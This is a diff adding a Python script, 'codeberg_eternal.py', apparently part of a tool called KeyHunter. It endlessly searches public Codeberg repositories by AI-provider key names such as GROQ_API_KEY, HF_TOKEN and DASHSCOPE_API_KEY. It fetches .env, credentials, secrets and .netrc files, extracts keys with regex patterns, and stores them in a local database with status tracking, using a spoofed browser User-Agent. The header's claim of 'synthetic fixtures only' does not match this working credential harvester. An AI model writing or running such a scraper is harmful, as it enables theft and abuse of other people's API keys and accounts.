KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

codeberg_eternal.py

@@ -0,0 +1,181 @@
+"""Codeberg eternal lane — /api/v1/repos/search?sort=updated, tree walk,
+raw fetch interesting files, regex keys → keys.db."""
+import os
+KF_BASE = os.path.dirname(os.path.abspath(__file__))
+os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
+import re
+import sqlite3
+import threading
+import time
+import hashlib
+import requests
+from requests.adapters import HTTPAdapter, Retry
+
+DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data", "keys.db")
+REST = 300
+WORKERS = 6
+PAGES_PER_CYCLE = 30  # 30*50 = 1500 repos/cycle
+SEARCHES = [
+    "TOGETHER_API_KEY",
+    "FIREWORKS_API_KEY",
+    "NOVITA_API_KEY",
+    "PERPLEXITY_API_KEY",
+    "STABILITY_API_KEY",
+    "GROQ_API_KEY",
+    "NVIDIA_API_KEY",
+    "MISTRAL_API_KEY",
+    "COHERE_API_KEY",
+    "REPLICATE_API_TOKEN",
+    "ELEVENLABS_API_KEY",
+    "HF_TOKEN",
+    "TOGETHER_API_TOKEN",
+    "DASHSCOPE_API_KEY",
+    "QWEN_API_KEY",
+    "TONGYI_QIANWEN_API_KEY",
+    "DASHSCOPE_API_TOKEN",
+]
+_KW = [0]
+API = "https://codeberg.org/api/v1"
+
+S = requests.Session()
+S.trust_env = False
+S.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/128"
+S.mount("https://", HTTPAdapter(max_retries=Retry(
+    total=3, backoff_factor=1.5, status_forcelist=[429, 500, 502, 503])))
+
+INTERESTING = re.compile(
+    r'\.env|(^|/)(env|config|settings|credentials|secrets?|tokens?|keys?|auth)'
+    r'|\.(ini|cfg|properties|toml|ya?ml|json)$'
+    r'|\.bashrc|\.profile|\.netrc', re.I)
+
+from key_patterns import PATTERNS
+
+GARBAGE = re.compile(r'^(pass|test|example|sample|dummy|fake|your|xxx|abc|123|key|token|secret|apikey|placeholder)$', re.I)
+
+db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
+db.execute("PRAGMA busy_timeout=120000")
+DB_LOCK = threading.Lock()
+
+
+def log(msg):
+    print(time.strftime("[%H:%M:%S] ") + msg, flush=True)
+
+
+def seen_vals():
+    cur = db.cursor()
+    cur.execute("SELECT val FROM keys")
+    return {r[0] for r in cur.fetchall()}
+
+
+def insert_key(key, prov, repo):
+    h = hashlib.sha1(key.encode()).hexdigest()[:16]
+    with DB_LOCK:
+        try:
+            db.execute(
+                "INSERT INTO keys (hash, val, prov, status, found, repo) "
+                "VALUES (?,?,?,?,?,?) "
+        "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
+        "WHERE keys.status IN ('DEAD','ERR')",
+                (h, key, prov, "NEW", "codeberg-eternal", repo))
+            db.commit()
+        except sqlite3.Error:
+            pass
+
+
+def scan_repo(full_name, branch, seen):
+    n = 0
+    try:
+        r = S.get(f"{API}/repos/{full_name}/git/trees/{branch}",
+                  params={"recursive": "true"}, timeout=30)
+        if r.status_code != 200:
+            return 0
+        tree = r.json().get("tree", [])[:500]
+    except Exception:
+        return 0
+    for ent in tree:
+        if ent.get("type") != "blob":
+            continue
+        path = ent.get("path", "")
+        if not INTERESTING.search(path) or ent.get("size", 0) > 200_000:
+            continue
+        try:
+            raw = S.get(f"{API}/repos/{full_name}/raw/{path}",
+                        params={"ref": branch}, timeout=25)
+            if raw.status_code != 200 or len(raw.text) > 300_000:
+                continue
+        except Exception:
+            continue
+        for prov, rx in PATTERNS:
+            for key in rx.findall(raw.text):
+                if isinstance(key, tuple):
+                    key = key[0]
+                key = key.strip().strip('"\'`.,:')
+                if not key or key in seen or GARBAGE.match(key):
+                    continue
+                insert_key(key, prov, full_name)
+                seen.add(key)
+                n += 1
+                log(f"  +{prov} {key[:12]}… {full_name}")
+    return n
+
+
+def cycle(seen, kw=None):
+    total = 0
+    lock = threading.Lock()
+    idx = [0]
+
+    def fetch_page():
+        page = idx[0]
+        idx[0] += 1
+        params = {"limit": 50, "page": page}
+        if kw:
+            params["q"] = kw
+        else:
+            params["sort"] = "updated"
+            params["order"] = "desc"
+        try:
+            r = S.get(f"{API}/repos/search", params=params, timeout=30)
+            if r.status_code != 200:
+                return []
+            return [(v["full_name"], v.get("default_branch") or "main")
+                    for v in r.json().get("data", [])
+                    if v.get("full_name") and not v.get("archived")]
+        except Exception:
+            return []
+
+    def work():
+        nonlocal total
+        while True:
+            with lock:
+                if idx[0] >= PAGES_PER_CYCLE:
+                    return
+                repos = fetch_page()
+            if not repos:
+                return
+            for fn, br in repos:
+                total += scan_repo(fn, br, seen)
+                time.sleep(0.4)
+
+    ths = [threading.Thread(target=work, daemon=True) for _ in range(WORKERS)]
+    for t in ths:
+        t.start()
+    for t in ths:
+        t.join()
+    return total
+
+def main():
+    log(f"=== CODEBERG eternal START threads={WORKERS} ===")
+    while True:
+        try:
+            seen = seen_vals()
+            kw = SEARCHES[_KW[0] % len(SEARCHES)]
+            _KW[0] += 1
+            n = cycle(seen, kw=kw)
+            log(f"CYCLE done (kw={kw!r}): +{n} new; resting {REST}s")
+        except Exception as e:
+            log(f"CYCLE error: {e}; resting {REST}s")
+        time.sleep(REST)
+
+
+if __name__ == "__main__":
+    main()